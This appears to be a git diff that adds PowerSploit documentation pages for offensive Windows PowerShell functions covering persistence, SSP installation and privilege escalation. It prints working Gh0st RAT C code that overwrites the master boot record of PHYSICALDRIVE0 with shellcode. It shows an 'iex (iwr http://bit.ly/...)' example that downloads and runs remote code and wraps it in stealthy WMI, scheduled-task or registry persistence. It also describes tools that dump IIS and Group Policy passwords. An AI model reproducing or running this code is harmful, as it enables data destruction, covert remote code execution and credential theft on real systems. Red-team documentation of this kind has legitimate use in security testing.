+Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Obviously, this will only work if you have a master boot record to +overwrite. +This won't work if you have a GPT (GUID partition table). + +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode\[\] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR\[512\] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR\[510\] = 0x55; + pMBR\[511\] = 0xAA; + + hDevice = CreateFile + ( + "\\\\\\\\.\\\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} + +## RELATED LINKS + diff --git a/docs/Persistence/Add-Persistence.md b/docs/Persistence/Add-Persistence.md new file mode 100755 index 00000000..bdd14fb1 --- /dev/null +++ b/docs/Persistence/Add-Persistence.md @@ -0,0 +1,227 @@ +# Add-Persistence + +## SYNOPSIS +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None + +## SYNTAX + +### ScriptBlock +``` +Add-Persistence -ScriptBlock -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +### FilePath +``` +Add-Persistence -FilePath -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +## DESCRIPTION +Add-Persistence will add persistence capabilities to any script or scriptblock. +This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose + +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +``` + +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 + +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. +The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. +The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -FilePath +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: Path + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ElevatedPersistenceOption +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserPersistenceOption +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistenceScriptName +Specifies the name of the function that will wrap the original payload. +The default value is 'Update-Windows'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Update-Windows +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistentScriptFilePath +Specifies the path where you would like to output the persistence script. +By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\Persistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RemovalScriptFilePath +Specifies the path where you would like to output a script that will remove the persistent payload. +By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\RemovePersistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotPersistImmediately +Output only the wrapper function for the original payload. +By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. +it will end with 'Update-Windows -Persist'). +If you are in a position where you are running in memory but want to persist at a later time, use this option. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PassThru +Outputs the contents of the persistent script to the pipeline. +This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + +Add-Persistence cannot receive any input from the pipeline. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. + +## NOTES +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/Get-SecurityPackage.md b/docs/Persistence/Get-SecurityPackage.md new file mode 100755 index 00000000..2a0cdef4 --- /dev/null +++ b/docs/Persistence/Get-SecurityPackage.md @@ -0,0 +1,37 @@ +# Get-SecurityPackage + +## SYNOPSIS +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-SecurityPackage +``` + +## DESCRIPTION +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SecurityPackage +``` + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Persistence/Install-SSP.md b/docs/Persistence/Install-SSP.md new file mode 100755 index 00000000..99193c04 --- /dev/null +++ b/docs/Persistence/Install-SSP.md @@ -0,0 +1,60 @@ +# Install-SSP + +## SYNOPSIS +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Install-SSP [[-Path] ] +``` + +## DESCRIPTION +Install-SSP installs an SSP dll. +Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-SSP -Path .\mimilib.dll +``` + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +The SSP dll must match the OS architecture. +i.e. +You must have a 64-bit SSP dll +if you are running a 64-bit OS. +In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. + +## RELATED LINKS + diff --git a/docs/Persistence/New-ElevatedPersistenceOption.md b/docs/Persistence/New-ElevatedPersistenceOption.md new file mode 100755 index 00000000..efe215d8 --- /dev/null +++ b/docs/Persistence/New-ElevatedPersistenceOption.md @@ -0,0 +1,235 @@ +# New-ElevatedPersistenceOption + +## SYNOPSIS +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### PermanentWMIAtStartup +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-AtStartup] +``` + +### PermanentWMIDaily +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-Daily] -At +``` + +### ScheduledTaskOnIdle +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskAtLogon +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-AtLogon] +``` + +### ScheduledTaskHourly +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-ElevatedPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -PermanentWMI +Persist via a permanent WMI event subscription. +This option will be the most difficult to detect and remove. + +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup, PermanentWMIDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskAtLogon, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskAtLogon, Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtStartup +Starts the payload within 240 and 325 seconds of computer startup. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/New-UserPersistenceOption.md b/docs/Persistence/New-UserPersistenceOption.md new file mode 100755 index 00000000..c7c020f0 --- /dev/null +++ b/docs/Persistence/New-UserPersistenceOption.md @@ -0,0 +1,179 @@ +# New-UserPersistenceOption + +## SYNOPSIS +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### ScheduledTaskOnIdle +``` +New-UserPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskHourly +``` +New-UserPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-UserPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-UserPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-UserPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: scheduled task, registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Privesc/Add-ServiceDacl.md b/docs/Privesc/Add-ServiceDacl.md new file mode 100755 index 00000000..13e4d64a --- /dev/null +++ b/docs/Privesc/Add-ServiceDacl.md @@ -0,0 +1,68 @@ +# Add-ServiceDacl + +## SYNOPSIS +Adds a Dacl field to a service object returned by Get-Service. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Add-ServiceDacl [-Name] +``` + +## DESCRIPTION +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Add-ServiceDacl +``` + +Add Dacls for every service the current user can read. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service -Name VMTools | Add-ServiceDacl +``` + +Add the Dacl to the VMTools service object. + +## PARAMETERS + +### -Name +An array of one or more service names to add a service Dacl for. +Passable on the pipeline. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Enable-Privilege.md b/docs/Privesc/Enable-Privilege.md new file mode 100755 index 00000000..6de9c439 --- /dev/null +++ b/docs/Privesc/Enable-Privilege.md @@ -0,0 +1,105 @@ +# Enable-Privilege + +## SYNOPSIS +Enables a specific privilege for the current process. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Enable-Privilege [-Privilege] +``` + +## DESCRIPTION +Uses RtlAdjustPrivilege to enable a specific privilege for the current process. +Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege +can be passed on the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +Enable-Privilege SeShutdownPrivilege + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege DISABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege DISABLED 2828 +SeIncreaseWorkingSetPrivilege DISABLED 2828 +SeTimeZonePrivilege DISABLED 2828 + + +Get-ProcessTokenPrivilege | Enable-Privilege -Verbose +VERBOSE: Attempting to enable SeShutdownPrivilege +VERBOSE: Attempting to enable SeChangeNotifyPrivilege +VERBOSE: Attempting to enable SeUndockPrivilege +VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege +VERBOSE: Attempting to enable SeTimeZonePrivilege + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828 +SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828 +SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828 + +## PARAMETERS + +### -Privilege +{{Fill Privilege Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Privileges + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html](http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html) + diff --git a/docs/Privesc/Find-PathDLLHijack.md b/docs/Privesc/Find-PathDLLHijack.md new file mode 100755 index 00000000..f43fc692 --- /dev/null +++ b/docs/Privesc/Find-PathDLLHijack.md @@ -0,0 +1,45 @@ +# Find-PathDLLHijack + +## SYNOPSIS +Finds all directories in the system %PATH% that are modifiable by the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Find-PathDLLHijack +``` + +## DESCRIPTION +Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath +to return the folder paths the current user can write to. +On Windows 7, if wlbsctrl.dll is +written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search +order loading. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-PathDLLHijack +``` + +Finds all %PATH% .DLL hijacking opportunities. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Path + +## NOTES + +## RELATED LINKS + +[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) + diff --git a/docs/Privesc/Find-ProcessDLLHijack.md b/docs/Privesc/Find-ProcessDLLHijack.md new file mode 100755 index 00000000..bbece58b --- /dev/null +++ b/docs/Privesc/Find-ProcessDLLHijack.md @@ -0,0 +1,127 @@ +# Find-ProcessDLLHijack + +## SYNOPSIS +Finds all DLL hijack locations for currently running processes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Find-ProcessDLLHijack [[-Name] ] [-ExcludeWindows] [-ExcludeProgramFiles] [-ExcludeOwned] +``` + +## DESCRIPTION +Enumerates all currently running processes with Get-Process (or accepts an +input process object from Get-Process) and enumerates the loaded modules for each. +All loaded module name exists outside of the process binary base path, as those +are DLL load-order hijack candidates. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for all processes. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process VulnProcess | Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for the 'VulnProcess' processes. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles +``` + +Finds possible hijackable DLL locations not in C:\Windows\* and +not in C:\Program Files\* or C:\Program Files (x86)\* + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeOwned +``` + +Finds possible hijackable DLL location for processes not owned by the +current user. + +## PARAMETERS + +### -Name +The name of a process to enumerate for possible DLL path hijack opportunities. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ProcessName + +Required: False +Position: 1 +Default value: $(Get-Process | Select-Object -Expand Name) +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ExcludeWindows +Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeProgramFiles +Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeOwned +Exclude processes the current user owns. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Process + +## NOTES + +## RELATED LINKS + +[https://www.mandiant.com/blog/malware-persistence-windows-registry/](https://www.mandiant.com/blog/malware-persistence-windows-registry/) + diff --git a/docs/Privesc/Get-ApplicationHost.md b/docs/Privesc/Get-ApplicationHost.md new file mode 100755 index 00000000..44d07d70 --- /dev/null +++ b/docs/Privesc/Get-ApplicationHost.md @@ -0,0 +1,95 @@ +# Get-ApplicationHost + +## SYNOPSIS +Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ApplicationHost +``` + +## DESCRIPTION +This script will decrypt and recover application pool and virtual directory passwords +from the applicationHost.config file on the system. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return application pool and virtual directory passwords from the applicationHost.config on the system. +``` + +Get-ApplicationHost + +user : PoolUser1 +pass : PoolParty1! +type : Application Pool +vdir : NA +apppool : ApplicationPool1 +user : PoolUser2 +pass : PoolParty2! +type : Application Pool +vdir : NA +apppool : ApplicationPool2 +user : VdirUser1 +pass : VdirPassword1! +type : Virtual Directory +vdir : site1/vdir1/ +apppool : NA +user : VdirUser2 +pass : VdirPassword2! +type : Virtual Directory +vdir : site2/ +apppool : NA + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-ApplicationHost | Format-Table -Autosize + +user pass type vdir apppool +---- ---- ---- ---- ------- +PoolUser1 PoolParty1! +Application Pool NA ApplicationPool1 +PoolUser2 PoolParty2! +Application Pool NA ApplicationPool2 +VdirUser1 VdirPassword1! +Virtual Directory site1/vdir1/ NA +VdirUser2 VdirPassword2! +Virtual Directory site2/ NA + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Data.DataTable + +System.Boolean + +## NOTES +Author: Scott Sutherland - 2014, NetSPI +Version: Get-ApplicationHost v1.0 +Comments: Should work on IIS 6 and Above + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git a/docs/Privesc/Get-CachedGPPPassword.md b/docs/Privesc/Get-CachedGPPPassword.md new file mode 100755 index 00000000..2169a150 --- /dev/null +++ b/docs/Privesc/Get-CachedGPPPassword.md @@ -0,0 +1,55 @@ +# Get-CachedGPPPassword + +## SYNOPSIS +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and +left in cached files on the host. + +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-CachedGPPPassword +``` + +## DESCRIPTION +Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and +datasources.xml files and returns plaintext passwords. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-CachedGPPPassword +``` + +NewName : \[BLANK\] +Changed : {2013-04-25 18:36:07} +Passwords : {Super!!!Password} +UserNames : {SuperSecretBackdoor} +File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + 